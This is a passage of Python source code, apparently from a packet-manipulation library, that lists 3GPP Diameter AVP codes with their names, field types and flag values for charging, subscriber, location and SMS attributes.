('Terminating-IOI', AVPV_StrLenField, 192), 841: ('IMS-Charging-Identifier', AVPV_StrLenField, 192), 842: ('SDP-Session-Description', AVPV_StrLenField, 192), 843: ('SDP-Media-Component', AVPV_Grouped, 192), 844: ('SDP-Media-Name', AVPV_StrLenField, 192), 845: ('SDP-Media-Description', AVPV_StrLenField, 192), 846: ('CG-Address', AVPV_Address, 192), 847: ('GGSN-Address', AVPV_Address, 192), 848: ('Served-Party-IP-Address', AVPV_Address, 192), 849: ('Authorised-QoS', AVPV_StrLenField, 192), 850: ('Application-Server-Information', AVPV_Grouped, 192), 851: ('Trunk-Group-Id', AVPV_Grouped, 192), 852: ('Incoming-Trunk-Group-Id', AVPV_StrLenField, 192), 853: ('Outgoing-Trunk-Group-Id', AVPV_StrLenField, 192), 854: ('Bearer-Service', AVPV_OctetString, 192), 855: ('Service-Id', AVPV_StrLenField, 192), 856: ('Associated-URI', AVPV_StrLenField, 192), 857: ('Charged-Party', AVPV_StrLenField, 192), 858: ('PoC-Controlling-Address', AVPV_StrLenField, 192), 859: ('PoC-Group-Name', AVPV_StrLenField, 192), 861: ('Cause-Code', AVPV_Integer32, 192), 862: ('Node-Functionality', AVP_10415_862, 192), 864: ('Originator', AVP_10415_864, 192), 865: ('PS-Furnish-Charging-Information', AVPV_Grouped, 192), 866: ('PS-Free-Format-Data', AVPV_OctetString, 192), 867: ('PS-Append-Free-Format-Data', AVP_10415_867, 192), 868: ('Time-Quota-Threshold', AVPV_Unsigned32, 192), 869: ('Volume-Quota-Threshold', AVPV_Unsigned32, 192), 870: ('Trigger-Type', AVP_10415_870, 192), 871: ('Quota-Holding-Time', AVPV_Unsigned32, 192), 872: ('Reporting-Reason', AVP_10415_872, 192), 873: ('Service-Information', AVPV_Grouped, 192), 874: ('PS-Information', AVPV_Grouped, 192), 876: ('IMS-Information', AVPV_Grouped, 192), 877: ('MMS-Information', AVPV_Grouped, 192), 878: ('LCS-Information', AVPV_Grouped, 192), 879: ('PoC-Information', AVPV_Grouped, 192), 880: ('MBMS-Information', AVPV_Grouped, 192), 881: ('Quota-Consumption-Time', AVPV_Unsigned32, 192), 882: ('Media-Initiator-Flag', AVP_10415_882, 192), 883: ('PoC-Server-Role', AVP_10415_883, 192), 884: ('PoC-Session-Type', AVP_10415_884, 192), 885: ('Number-Of-Participants', AVPV_Unsigned32, 192), 887: ('Participants-Involved', AVPV_StrLenField, 192), 888: ('Expires', AVPV_Unsigned32, 192), 889: ('Message-Body', AVPV_Grouped, 192), 897: ('Address-Data', AVPV_StrLenField, 192), 898: ('Address-Domain', AVPV_Grouped, 192), 899: ('Address-Type', AVP_10415_899, 192), 900: ('TMGI', AVPV_OctetString, 192), 901: ('Required-MBMS-Bearer-Capabilities', AVPV_StrLenField, 192), 902: ('MBMS-StartStop-Indication', AVP_10415_902, 192), 903: ('MBMS-Service-Area', AVPV_OctetString, 192), 904: ('MBMS-Session-Duration', AVPV_OctetString, 192), 905: ('Alternative-APN', AVPV_StrLenField, 192), 906: ('MBMS-Service-Type', AVP_10415_906, 192), 907: ('MBMS-2G-3G-Indicator', AVP_10415_907, 192), 909: ('RAI', AVPV_StrLenField, 192), 910: ('Additional-MBMS-Trace-Info', AVPV_OctetString, 192), 911: ('MBMS-Time-To-Data-Transfer', AVPV_OctetString, 192), 920: ('MBMS-Flow-Identifier', AVPV_OctetString, 192), 921: ('CN-IP-Multicast-Distribution', AVP_10415_921, 192), 922: ('MBMS-HC-Indicator', AVP_10415_922, 192), 1000: ('Bearer-Usage', AVP_10415_1000, 192), 1001: ('Charging-Rule-Install', AVPV_Grouped, 192), 1002: ('Charging-Rule-Remove', AVPV_Grouped, 192), 1003: ('Charging-Rule-Definition', AVPV_Grouped, 192), 1004: ('Charging-Rule-Base-Name', AVPV_StrLenField, 192), 1005: ('Charging-Rule-Name', AVPV_OctetString, 192), 1006: ('Event-Trigger', AVP_10415_1006, 192), 1007: ('Metering-Method', AVP_10415_1007, 192), 1008: ('Offline', AVP_10415_1008, 192), 1009: ('Online', AVP_10415_1009, 192), 1010: ('Precedence', AVPV_Unsigned32, 192), 1011: ('Reporting-Level', AVP_10415_1011, 192), 1012: ('TFT-Filter', AVPV_IPFilterRule, 192), 1013: ('TFT-Packet-Filter-Information', AVPV_Grouped, 192), 1014: ('ToS-Traffic-Class', AVPV_OctetString, 192), 1015: ('PDP-Session-Operation', AVP_10415_1015, 192), 1018: ('Charging-Rule-Report', AVPV_Grouped, 192), 1019: ('PCC-Rule-Status', AVP_10415_1019, 192), 1020: ('Bearer-Identifier', AVPV_OctetString, 192), 1021: ('Bearer-Operation', AVP_10415_1021, 192), 1022: ('Access-Network-Charging-Identifier-Gx', AVPV_Grouped, 192), 1023: ('Bearer-Control-Mode', AVP_10415_1023, 192), 1024: ('Network-Request-Support', AVP_10415_1024, 192), 1025: ('Guaranteed-Bitrate-DL', AVPV_Unsigned32, 192), 1026: ('Guaranteed-Bitrate-UL', AVPV_Unsigned32, 192), 1027: ('IP-CAN-Type', AVP_10415_1027, 192), 1028: ('QoS-Class-Identifier', AVP_10415_1028, 192), 1032: ('RAT-Type', AVP_10415_1032, 128), 1033: ('Event-Report-Indication', AVPV_Grouped, 128), 1034: ('Allocation-Retention-Priority', AVPV_Grouped, 128), 1035: ('CoA-IP-Address', AVPV_Address, 128), 1036: ('Tunnel-Header-Filter', AVPV_IPFilterRule, 128), 1037: ('Tunnel-Header-Length', AVPV_Unsigned32, 128), 1038: ('Tunnel-Information', AVPV_Grouped, 128), 1039: ('CoA-Information', AVPV_Grouped, 128), 1040: ('APN-Aggregate-Max-Bitrate-DL', AVPV_Unsigned32, 128), 1041: ('APN-Aggregate-Max-Bitrate-UL', AVPV_Unsigned32, 128), 1042: ('Revalidation-Time', AVPV_Time, 192), 1043: ('Rule-Activation-Time', AVPV_Time, 192), 1044: ('Rule-Deactivation-Time', AVPV_Time, 192), 1045: ('Session-Release-Cause', AVP_10415_1045, 192), 1046: ('Priority-Level', AVPV_Unsigned32, 128), 1047: ('Pre-emption-Capability', AVP_10415_1047, 128), 1048: ('Pre-emption-Vulnerability', AVP_10415_1048, 128), 1049: ('Default-EPS-Bearer-QoS', AVPV_Grouped, 128), 1050: ('AN-GW-Address', AVPV_Address, 128), 1056: ('Security-Parameter-Index', AVPV_OctetString, 128), 1057: ('Flow-Label', AVPV_OctetString, 128), 1058: ('Flow-Information', AVPV_Grouped, 128), 1059: ('Packet-Filter-Content', AVPV_IPFilterRule, 128), 1060: ('Packet-Filter-Identifier', AVPV_OctetString, 128), 1061: ('Packet-Filter-Information', AVPV_Grouped, 128), 1062: ('Packet-Filter-Operation', AVP_10415_1062, 128), 1063: ('Resource-Allocation-Notification', AVP_10415_1063, 128), 1065: ('PDN-Connection-ID', AVPV_OctetString, 128), 1066: ('Monitoring-Key', AVPV_OctetString, 128), 1067: ('Usage-Monitoring-Information', AVPV_Grouped, 128), 1068: ('Usage-Monitoring-Level', AVP_10415_1068, 128), 1069: ('Usage-Monitoring-Report', AVP_10415_1069, 128), 1070: ('Usage-Monitoring-Support', AVP_10415_1070, 128), 1071: ('CSG-Information-Reporting', AVP_10415_1071, 128), 1072: ('Packet-Filter-Usage', AVP_10415_1072, 128), 1073: ('Charging-Correlation-Indicator', AVP_10415_1073, 128), 1075: ('Routing-Rule-Remove', AVPV_Grouped, 128), 1076: ('Routing-Rule-Definition', AVPV_Grouped, 128), 1077: ('Routing-Rule-Identifier', AVPV_OctetString, 128), 1078: ('Routing-Filter', AVPV_Grouped, 128), 1079: ('Routing-IP-Address', AVPV_Address, 128), 1080: ('Flow-Direction', AVP_10415_1080, 128), 1082: ('Credit-Management-Status', AVPV_Unsigned32, 128), 1085: ('Redirect-Information', AVPV_Grouped, 128), 1086: ('Redirect-Support', AVP_10415_1086, 128), 1087: ('TDF-Information', AVPV_Grouped, 128), 1088: ('TDF-Application-Identifier', AVPV_OctetString, 128), 1089: ('TDF-Destination-Host', AVPV_StrLenField, 128), 1090: ('TDF-Destination-Realm', AVPV_StrLenField, 128), 1091: ('TDF-IP-Address', AVPV_Address, 128), 1098: ('Application-Detection-Information', AVPV_Grouped, 128), 1099: ('PS-to-CS-Session-Continuity', AVP_10415_1099, 128), 1200: ('Domain-Name', AVPV_StrLenField, 192), 1203: ('MM-Content-Type', AVPV_Grouped, 192), 1204: ('Type-Number', AVP_10415_1204, 192), 1205: ('Additional-Type-Information', AVPV_StrLenField, 192), 1206: ('Content-Size', AVPV_Unsigned32, 192), 1207: ('Additional-Content-Information', AVPV_Grouped, 192), 1208: ('Addressee-Type', AVP_10415_1208, 192), 1209: ('Priority', AVP_10415_1209, 192), 1211: ('Message-Type', AVP_10415_1211, 192), 1212: ('Message-Size', AVPV_Unsigned32, 192), 1213: ('Message-Class', AVPV_Grouped, 192), 1214: ('Class-Identifier', AVP_10415_1214, 192), 1215: ('Token-Text', AVPV_StrLenField, 192), 1216: ('Delivery-Report-Requested', AVP_10415_1216, 192), 1217: ('Adaptations', AVP_10415_1217, 192), 1218: ('Applic-ID', AVPV_StrLenField, 192), 1219: ('Aux-Applic-Info', AVPV_StrLenField, 192), 1220: ('Content-Class', AVP_10415_1220, 192), 1221: ('DRM-Content', AVP_10415_1221, 192), 1222: ('Read-Reply-Report-Requested', AVP_10415_1222, 192), 1223: ('Reply-Applic-ID', AVPV_StrLenField, 192), 1224: ('File-Repair-Supported', AVP_10415_1224, 192), 1225: ('MBMS-User-Service-Type', AVP_10415_1225, 192), 1226: ('Unit-Quota-Threshold', AVPV_Unsigned32, 192), 1227: ('PDP-Address', AVPV_Address, 192), 1228: ('SGSN-Address', AVPV_Address, 192), 1229: ('PoC-Session-Id', AVPV_StrLenField, 192), 1230: ('Deferred-Location-Event-Type', AVPV_StrLenField, 192), 1231: ('LCS-APN', AVPV_StrLenField, 192), 1245: ('Positioning-Data', AVPV_StrLenField, 192), 1247: ('PDP-Context-Type', AVP_10415_1247, 192), 1248: ('MMBox-Storage-Requested', AVP_10415_1248, 192), 1250: ('Called-Asserted-Identity', AVPV_StrLenField, 192), 1251: ('Requested-Party-Address', AVPV_StrLenField, 192), 1252: ('PoC-User-Role', AVPV_Grouped, 192), 1253: ('PoC-User-Role-IDs', AVPV_StrLenField, 192), 1254: ('PoC-User-Role-info-Units', AVP_10415_1254, 192), 1255: ('Talk-Burst-Exchange', AVPV_Grouped, 192), 1258: ('Event-Charging-TimeStamp', AVPV_Time, 192), 1259: ('Participant-Access-Priority', AVP_10415_1259, 192), 1260: ('Participant-Group', AVPV_Grouped, 192), 1261: ('PoC-Change-Condition', AVP_10415_1261, 192), 1262: ('PoC-Change-Time', AVPV_Time, 192), 1263: ('Access-Network-Information', AVPV_OctetString, 192), 1264: ('Trigger', AVPV_Grouped, 192), 1265: ('Base-Time-Interval', AVPV_Unsigned32, 192), 1266: ('Envelope', AVPV_Grouped, 192), 1267: ('Envelope-End-Time', AVPV_Time, 192), 1268: ('Envelope-Reporting', AVP_10415_1268, 192), 1269: ('Envelope-Start-Time', AVPV_Time, 192), 1270: ('Time-Quota-Mechanism', AVPV_Grouped, 192), 1271: ('Time-Quota-Type', AVP_10415_1271, 192), 1272: ('Early-Media-Description', AVPV_Grouped, 192), 1273: ('SDP-TimeStamps', AVPV_Grouped, 192), 1274: ('SDP-Offer-Timestamp', AVPV_Time, 192), 1275: ('SDP-Answer-Timestamp', AVPV_Time, 192), 1276: ('AF-Correlation-Information', AVPV_Grouped, 192), 1277: ('PoC-Session-Initiation-Type', AVP_10415_1277, 192), 1278: ('Offline-Charging', AVPV_Grouped, 192), 1279: ('User-Participating-Type', AVP_10415_1279, 192), 1281: ('IMS-Communication-Service-Identifier', AVPV_StrLenField, 192), 1282: ('Number-Of-Received-Talk-Bursts', AVPV_Unsigned32, 192), 1283: ('Number-Of-Talk-Bursts', AVPV_Unsigned32, 192), 1284: ('Received-Talk-Burst-Time', AVPV_Unsigned32, 192), 1285: ('Received-Talk-Burst-Volume', AVPV_Unsigned32, 192), 1286: ('Talk-Burst-Time', AVPV_Unsigned32, 192), 1287: ('Talk-Burst-Volume', AVPV_Unsigned32, 192), 1288: ('Media-Initiator-Party', AVPV_StrLenField, 192), 1400: ('Subscription-Data', AVPV_Grouped, 192), 1401: ('Terminal-Information', AVPV_Grouped, 192), 1402: ('IMEI', AVPV_StrLenField, 192), 1403: ('Software-Version', AVPV_StrLenField, 192), 1404: ('QoS-Subscribed', AVPV_OctetString, 192), 1405: ('ULR-Flags', AVPV_Unsigned32, 192), 1406: ('ULA-Flags', AVPV_Unsigned32, 192), 1407: ('Visited-PLMN-Id', AVPV_OctetString, 192), 1408: ('Requested-EUTRAN-Authentication-Info', AVPV_Grouped, 192), 1409: ('GERAN-Authentication-Info', AVPV_Grouped, 192), 1410: ('Number-Of-Requested-Vectors', AVPV_Unsigned32, 192), 1411: ('Re-Synchronization-Info', AVPV_OctetString, 192), 1412: ('Immediate-Response-Preferred', AVPV_Unsigned32, 192), 1413: ('Authentication-Info', AVPV_Grouped, 192), 1414: ('E-UTRAN-Vector', AVPV_Grouped, 192), 1415: ('UTRAN-Vector', AVPV_Grouped, 192), 1416: ('GERAN-Vector', AVPV_Grouped, 192), 1417: ('Network-Access-Mode', AVP_10415_1417, 192), 1418: ('HPLMN-ODB', AVPV_Unsigned32, 192), 1419: ('Item-Number', AVPV_Unsigned32, 192), 1420: ('Cancellation-Type', AVP_10415_1420, 192), 1421: ('DSR-Flags', AVPV_Unsigned32, 192), 1422: ('DSA-Flags', AVPV_Unsigned32, 192), 1423: ('Context-Identifier', AVPV_Unsigned32, 192), 1424: ('Subscriber-Status', AVP_10415_1424, 192), 1425: ('Operator-Determined-Barring', AVPV_Unsigned32, 192), 1426: ('Access-Restriction-Data', AVPV_Unsigned32, 192), 1427: ('APN-OI-Replacement', AVPV_StrLenField, 192), 1428: ('All-APN-Configurations-Included-Indicator', AVP_10415_1428, 192), # noqa: E501 1429: ('APN-Configuration-Profile', AVPV_Grouped, 192), 1430: ('APN-Configuration', AVPV_Grouped, 192), 1431: ('EPS-Subscribed-QoS-Profile', AVPV_Grouped, 192), 1432: ('VPLMN-Dynamic-Address-Allowed', AVP_10415_1432, 192), 1433: ('STN-SR', AVPV_OctetString, 192), 1434: ('Alert-Reason', AVP_10415_1434, 192), 1435: ('AMBR', AVPV_Grouped, 192), 1437: ('CSG-Id', AVPV_Unsigned32, 192), 1438: ('PDN-GW-Allocation-Type', AVP_10415_1438, 192), 1439: ('Expiration-Date', AVPV_Time, 192), 1440: ('RAT-Frequency-Selection-Priority-ID', AVPV_Unsigned32, 192), 1441: ('IDA-Flags', AVPV_Unsigned32, 192), 1442: ('PUA-Flags', AVPV_Unsigned32, 192), 1443: ('NOR-Flags', AVPV_Unsigned32, 192), 1444: ('User-Id', AVPV_StrLenField, 128), 1445: ('Equipment-Status', AVP_10415_1445, 192), 1446: ('Regional-Subscription-Zone-Code', AVPV_OctetString, 192), 1447: ('RAND', AVPV_OctetString, 192), 1448: ('XRES', AVPV_OctetString, 192), 1449: ('AUTN', AVPV_OctetString, 192), 1450: ('KASME', AVPV_OctetString, 192), 1452: ('Trace-Collection-Entity', AVPV_Address, 192), 1453: ('Kc', AVPV_OctetString, 192), 1454: ('SRES', AVPV_OctetString, 192), 1456: ('PDN-Type', AVP_10415_1456, 192), 1457: ('Roaming-Restricted-Due-To-Unsupported-Feature', AVP_10415_1457, 192), # noqa: E501 1458: ('Trace-Data', AVPV_Grouped, 192), 1459: ('Trace-Reference', AVPV_OctetString, 192), 1462: ('Trace-Depth', AVP_10415_1462, 192), 1463: ('Trace-NE-Type-List', AVPV_OctetString, 192), 1464: ('Trace-Interface-List', AVPV_OctetString, 192), 1465: ('Trace-Event-List', AVPV_OctetString, 192), 1466: ('OMC-Id', AVPV_OctetString, 192), 1467: ('GPRS-Subscription-Data', AVPV_Grouped, 192), 1468: ('Complete-Data-List-Included-Indicator', AVP_10415_1468, 192), 1469: ('PDP-Context', AVPV_Grouped, 192), 1470: ('PDP-Type', AVPV_OctetString, 192), 1471: ('3GPP2-MEID', AVPV_OctetString, 192), 1472: ('Specific-APN-Info', AVPV_Grouped, 192), 1473: ('LCS-Info', AVPV_Grouped, 192), 1474: ('GMLC-Number', AVPV_OctetString, 192), 1475: ('LCS-PrivacyException', AVPV_Grouped, 192), 1476: ('SS-Code', AVPV_OctetString, 192), 1477: ('SS-Status', AVPV_OctetString, 192), 1478: ('Notification-To-UE-User', AVP_10415_1478, 192), 1479: ('External-Client', AVPV_Grouped, 192), 1480: ('Client-Identity', AVPV_OctetString, 192), 1481: ('GMLC-Restriction', AVP_10415_1481, 192), 1482: ('PLMN-Client', AVP_10415_1482, 192), 1483: ('Service-Type', AVPV_Grouped, 192), 1484: ('ServiceTypeIdentity', AVPV_Unsigned32, 192), 1485: ('MO-LR', AVPV_Grouped, 192), 1486: ('Teleservice-List', AVPV_Grouped, 192), 1487: ('TS-Code', AVPV_OctetString, 192), 1488: ('Call-Barring-Info', AVPV_Grouped, 192), 1489: ('SGSN-Number', AVPV_OctetString, 192), 1490: ('IDR-Flags', AVPV_Unsigned32, 192), 1491: ('ICS-Indicator', AVP_10415_1491, 128), 1492: ('IMS-Voice-Over-PS-Sessions-Supported', AVP_10415_1492, 128), 1493: ('Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions', AVP_10415_1493, 128), # noqa: E501 1494: ('Last-UE-Activity-Time', AVPV_Time, 128), 1495: ('EPS-User-State', AVPV_Grouped, 128), 1496: ('EPS-Location-Information', AVPV_Grouped, 128), 1497: ('MME-User-State', AVPV_Grouped, 128), 1498: ('SGSN-User-State', AVPV_Grouped, 128), 1499: ('User-State', AVP_10415_1499, 128), 1500: ('Non-3GPP-User-Data', AVPV_Grouped, 192), 1501: ('Non-3GPP-IP-Access', AVP_10415_1501, 192), 1502: ('Non-3GPP-IP-Access-APN', AVP_10415_1502, 192), 1503: ('AN-Trusted', AVP_10415_1503, 192), 1504: ('ANID', AVPV_StrLenField, 192), 1505: ('Trace-Info', AVPV_Grouped, 128), 1506: ('MIP-FA-RK', AVPV_OctetString, 192), 1507: ('MIP-FA-RK-SPI', AVPV_Unsigned32, 192), 1508: ('PPR-Flags', AVPV_Unsigned32, 128), 1509: ('WLAN-Identifier', AVPV_Grouped, 128), 1510: ('TWAN-Access-Info', AVPV_Grouped, 128), 1511: ('Access-Authorization-Flags', AVPV_Unsigned32, 128), 1512: ('TWAN-Default-APN-Context-Id', AVPV_Unsigned32, 128), 1515: ('Trust-Relationship-Update', AVP_10415_1515, 128), 1516: ('Full-Network-Name', AVPV_OctetString, 128), 1517: ('Short-Network-Name', AVPV_OctetString, 128), 1518: ('AAA-Failure-Indication', AVPV_Unsigned32, 128), 1519: ('Transport-Access-Type', AVP_10415_1519, 128), 1520: ('DER-Flags', AVPV_Unsigned32, 128), 1521: ('DEA-Flags', AVPV_Unsigned32, 128), 1522: ('RAR-Flags', AVPV_Unsigned32, 128), 1523: ('DER-S6b-Flags', AVPV_Unsigned32, 128), 1524: ('SSID', AVPV_StrLenField, 128), 1525: ('HESSID', AVPV_StrLenField, 128), 1526: ('Access-Network-Info', AVPV_Grouped, 128), 1527: ('TWAN-Connection-Mode', AVPV_Unsigned32, 128), 1528: ('TWAN-Connectivity-Parameters', AVPV_Grouped, 128), 1529: ('Connectivity-Flags', AVPV_Unsigned32, 128), 1530: ('TWAN-PCO', AVPV_OctetString, 128), 1531: ('TWAG-CP-Address', AVPV_Address, 128), 1532: ('TWAG-UP-Address', AVPV_StrLenField, 128), 1533: ('TWAN-S2a-Failure-Cause', AVPV_Unsigned32, 128), 1534: ('SM-Back-Off-Timer', AVPV_Unsigned32, 128), 1535: ('WLCP-Key', AVPV_OctetString, 128), 1600: ('Information', AVPV_Grouped, 128), 1601: ('SGSN-Location-Information', AVPV_Grouped, 128), 1602: ('E-UTRAN-Cell-Global-Identity', AVPV_OctetString, 128), 1603: ('Tracking-Area-Identity', AVPV_OctetString, 128), 1604: ('Cell-Global-Identity', AVPV_OctetString, 128), 1605: ('Routing-Area-Identity', AVPV_OctetString, 128), 1606: ('Location-Area-Identity', AVPV_OctetString, 128), 1607: ('Service-Area-Identity', AVPV_OctetString, 128), 1608: ('Geographical-Information', AVPV_OctetString, 128), 1609: ('Geodetic-Information', AVPV_OctetString, 128), 1610: ('Current-Location-Retrieved', AVP_10415_1610, 128), 1611: ('Age-Of-Location-Information', AVPV_Unsigned32, 128), 1612: ('Active-APN', AVPV_Grouped, 128), 1613: ('SIPTO-Permission', AVP_10415_1613, 128), 1614: ('Error-Diagnostic', AVP_10415_1614, 128), 1615: ('UE-SRVCC-Capability', AVP_10415_1615, 128), 1616: ('MPS-Priority', AVPV_Unsigned32, 128), 1617: ('VPLMN-LIPA-Allowed', AVP_10415_1617, 128), 1618: ('LIPA-Permission', AVP_10415_1618, 128), 1619: ('Subscribed-Periodic-RAU-TAU-Timer', AVPV_Unsigned32, 128), 1621: ('Ext-PDP-Address', AVPV_Address, 128), 1622: ('MDT-Configuration', AVPV_Grouped, 128), 1623: ('Job-Type', AVP_10415_1623, 128), 1624: ('Area-Scope', AVPV_Grouped, 128), 1625: ('List-Of-Measurements', AVPV_Unsigned32, 128), 1626: ('Reporting-Trigger', AVPV_Unsigned32, 128), 1627: ('Report-Interval', AVP_10415_1627, 128), 1628: ('Report-Amount', AVP_10415_1628, 128), 1629: ('Event-Threshold-RSRP', AVPV_Unsigned32, 128), 1631: ('Logging-Interval', AVP_10415_1631, 128), 1632: ('Logging-Duration', AVP_10415_1632, 128), 1633: ('Relay-Node-Indicator', AVP_10415_1633, 128), 1634: ('MDT-User-Consent', AVP_10415_1634, 128), 1635: ('PUR-Flags', AVPV_Unsigned32, 128), 1636: ('Subscribed-VSRVCC', AVP_10415_1636, 128), 1638: ('CLR-Flags', AVPV_Unsigned32, 128), 1639: ('UVR-Flags', AVPV_Unsigned32, 192), 1640: ('UVA-Flags', AVPV_Unsigned32, 192), 1641: ('VPLMN-CSG-Subscription-Data', AVPV_Grouped, 192), 1642: ('Time-Zone', AVPV_StrLenField, 128), 1643: ('A-MSISDN', AVP_10415_1643, 128), 1645: ('MME-Number-for-MT-SMS', AVPV_OctetString, 128), 1648: ('SMS-Register-Request', AVP_10415_1648, 128), 1649: ('Local-Time-Zone', AVPV_Grouped, 128), 1650: ('Daylight-Saving-Time', AVP_10415_1650, 128), 1654: ('Subscription-Data-Flags', AVPV_Unsigned32, 128), 1659: ('Positioning-Method', AVPV_OctetString, 128), 1660: ('Measurement-Quantity', AVPV_OctetString, 128), 1661: ('Event-Threshold-Event-1F', AVPV_Integer32, 128), 1662: ('Event-Threshold-Event-1I', AVPV_Integer32, 128), 1663: ('Restoration-Priority', AVPV_Unsigned32, 128), 1664: ('SGs-MME-Identity', AVPV_StrLenField, 128), 1665: ('SIPTO-Local-Network-Permission', AVPV_Unsigned32, 128), 1666: ('Coupled-Node-Diameter-ID', AVPV_StrLenField, 128), 1667: ('WLAN-offloadability', AVPV_Grouped, 128), 1668: ('WLAN-offloadability-EUTRAN', AVPV_Unsigned32, 128), 1669: ('WLAN-offloadability-UTRAN', AVPV_Unsigned32, 128), 1670: ('Reset-ID', AVPV_OctetString, 128), 1671: ('MDT-Allowed-PLMN-Id', AVPV_OctetString, 128), 2000: ('SMS-Information', AVPV_Grouped, 192), 2001: ('Data-Coding-Scheme', AVPV_Integer32, 192), 2002: ('Destination-Interface', AVPV_Grouped, 192), 2003: ('Interface-Id', AVPV_StrLenField, 192), 2004: ('Interface-Port', AVPV_StrLenField, 192), 2005: ('Interface-Text', AVPV_StrLenField, 192), 2006: ('Interface-Type', AVP_10415_2006, 192), 2007: ('SM-Message-Type', AVP_10415_2007, 192), 2008: ('Originator-SCCP-Address', AVPV_Address, 192), 2009: ('Originator-Interface', AVPV_Grouped, 192), 2010: ('Recipient-SCCP-Address', AVPV_Address, 192), 2011: ('Reply-Path-Requested', AVP_10415_2011, 192), 2012: ('SM-Discharge-Time', AVPV_Time, 192), 2013: ('SM-Protocol-ID', AVPV_OctetString, 192), 2015: ('SM-User-Data-Header', AVPV_OctetString, 192), 2016: ('SMS-Node', AVP_10415_2016, 192), 2018: ('Client-Address', AVPV_Address, 192), 2019: ('Number-Of-Messages-Sent', AVPV_Unsigned32, 192), 2021: ('Remaining-Balance', AVPV_Grouped, 192), 2022: ('Refund-Information', AVPV_OctetString, 192), 2023: ('Carrier-Select-Routing-Information', AVPV_StrLenField, 192), 2024: ('Number-Portability-Routing-Information', AVPV_StrLenField, 192), # noqa: E501 2025: ('PoC-Event-Type', AVP_10415_2025, 192), 2026: ('Recipient-Info', AVPV_Grouped, 192), 2027: ('Originator-Received-Address', AVPV_Grouped, 192), 2028: ('Recipient-Received-Address', AVPV_Grouped, 192), 2029: ('SM-Service-Type', AVP_10415_2029, 192), 2030: ('MMTel-Information', AVPV_Grouped, 192), 2031: ('MMTel-SService-Type', AVPV_Unsigned32, 192), 2032: ('Service-Mode', AVPV_Unsigned32, 192), 2033: ('Subscriber-Role', AVP_10415_2033, 192), 2034: ('Number-Of-Diversions', AVPV_Unsigned32, 192), 2035: ('Associated-Party-Address', AVPV_StrLenField, 192), 2036: ('SDP-Type', AVP_10415_2036, 192), 2037: ('Change-Condition', AVPV_Integer32, 192), 2038: ('Change-Time', AVPV_Time, 192), 2039: ('Diagnostics', AVPV_Integer32, 192), 2040: ('Service-Data-Container', AVPV_Grouped, 192), 2041: ('Start-Time', AVPV_Time, 192), 2042: ('Stop-Time', AVPV_Time, 192), 2043: ('Time-First-Usage', AVPV_Time, 192), 2044: ('Time-Last-Usage', AVPV_Time, 192), 2045: ('Time-Usage', AVPV_Unsigned32, 192), 2046: ('Traffic-Data-Volumes', AVPV_Grouped, 192), 2047: ('Serving-Node-Type', AVP_10415_2047, 192), 2048: ('Supplementary-Service', AVPV_Grouped, 192), 2049: ('Participant-Action-Type', AVP_10415_2049, 192), 2050: ('PDN-Connection-Charging-ID', AVPV_Unsigned32, 192), 2051: ('Dynamic-Address-Flag', AVP_10415_2051, 192), 2052: ('Accumulated-Cost', AVPV_Grouped, 192), 2053: ('AoC-Cost-Information', AVPV_Grouped, 192), 2056: ('Current-Tariff', AVPV_Grouped, 192), 2058: ('Rate-Element', AVPV_Grouped, 192), 2059: ('Scale-Factor', AVPV_Grouped, 192), 2060: ('Tariff-Information', AVPV_Grouped, 192), 2061: ('Unit-Cost', AVPV_Grouped, 192), 2062: ('Incremental-Cost', AVPV_Grouped, 192), 2063: ('Local-Sequence-Number', AVPV_Unsigned32, 192), 2064: ('Node-Id', AVPV_StrLenField, 192), 2065: ('SGW-Change', AVP_10415_2065, 192), 2066: ('Charging-Characteristics-Selection-Mode', AVP_10415_2066, 192), 2067: ('SGW-Address', AVPV_Address, 192), 2068: ('Dynamic-Address-Flag-Extension', AVP_10415_2068, 192), 2118: ('Charge-Reason-Code', AVP_10415_2118, 192), 2200: ('Subsession-Decision-Info', AVPV_Grouped, 192), 2201: ('Subsession-Enforcement-Info', AVPV_Grouped, 192), 2202: ('Subsession-Id', AVPV_Unsigned32, 192), 2203: ('Subsession-Operation', AVP_10415_2203, 192), 2204: ('Multiple-BBERF-Action', AVP_10415_2204, 192), 2206: ('DRA-Deployment', AVP_10415_2206, 128), 2208: ('DRA-Binding', AVP_10415_2208, 128), 2301: ('SIP-Request-Timestamp-Fraction', AVPV_Unsigned32, 192), 2302: ('SIP-Response-Timestamp-Fraction', AVPV_Unsigned32, 192), 2303: ('Online-Charging-Flag', AVP_10415_2303, 192), 2304: ('CUG-Information', AVPV_OctetString, 192), 2305: ('Real-Time-Tariff-Information', AVPV_Grouped, 192), 2306: ('Tariff-XML', AVPV_StrLenField, 192), 2307: ('MBMS-GW-Address', AVPV_Address, 192), 2308: ('IMSI-Unauthenticated-Flag', AVP_10415_2308, 192), 2309: ('Account-Expiration', AVPV_Time, 192), 2310: ('AoC-Format', AVP_10415_2310, 192), 2311: ('AoC-Service', AVPV_Grouped, 192), 2312: ('AoC-Service-Obligatory-Type', AVP_10415_2312, 192), 2313: ('AoC-Service-Type', AVP_10415_2313, 192), 2314: ('AoC-Subscription-Information', AVPV_Grouped, 192), 2315: ('Preferred-AoC-Currency', AVPV_Unsigned32, 192), 2317: ('CSG-Access-Mode', AVP_10415_2317, 192), 2318: ('CSG-Membership-Indication', AVP_10415_2318, 192), 2319: ('User-CSG-Information', AVPV_Grouped, 192), 2320: ('Outgoing-Session-Id', AVPV_StrLenField, 192), 2321: ('Initial-IMS-Charging-Identifier', AVPV_StrLenField, 192), 2322: ('IMS-Emergency-Indicator', AVP_10415_2322, 192), 2323: ('MBMS-Charged-Party', AVP_10415_2323, 192), 2400: ('LMSI', AVPV_OctetString, 192), 2401: ('Serving-Node', AVPV_Grouped, 192), 2402: ('MME-Name', AVPV_StrLenField, 192), 2403: ('MSC-Number', AVPV_OctetString, 192), 2404: ('LCS-Capabilities-Sets', AVPV_Unsigned32, 192), 2405: ('GMLC-Address', AVPV_Address, 192), 2406: ('Additional-Serving-Node', AVPV_Grouped, 192), 2407: ('PPR-Address', AVPV_Address, 192), 2408: ('MME-Realm', AVPV_StrLenField, 128), 2409: ('SGSN-Name', AVPV_StrLenField, 128), 2410: ('SGSN-Realm', AVPV_StrLenField, 128), 2411: ('RIA-Flags', AVPV_Unsigned32, 128), 2500: ('SLg-Location-Type', AVP_10415_2500, 192), 2501: ('LCS-EPS-Client-Name', AVPV_Grouped, 192), 2502: ('LCS-Requestor-Name', AVPV_Grouped, 192), 2503: ('LCS-Priority', AVPV_Unsigned32, 192), 2504: ('LCS-QoS', AVPV_Grouped, 192), 2505: ('Horizontal-Accuracy', 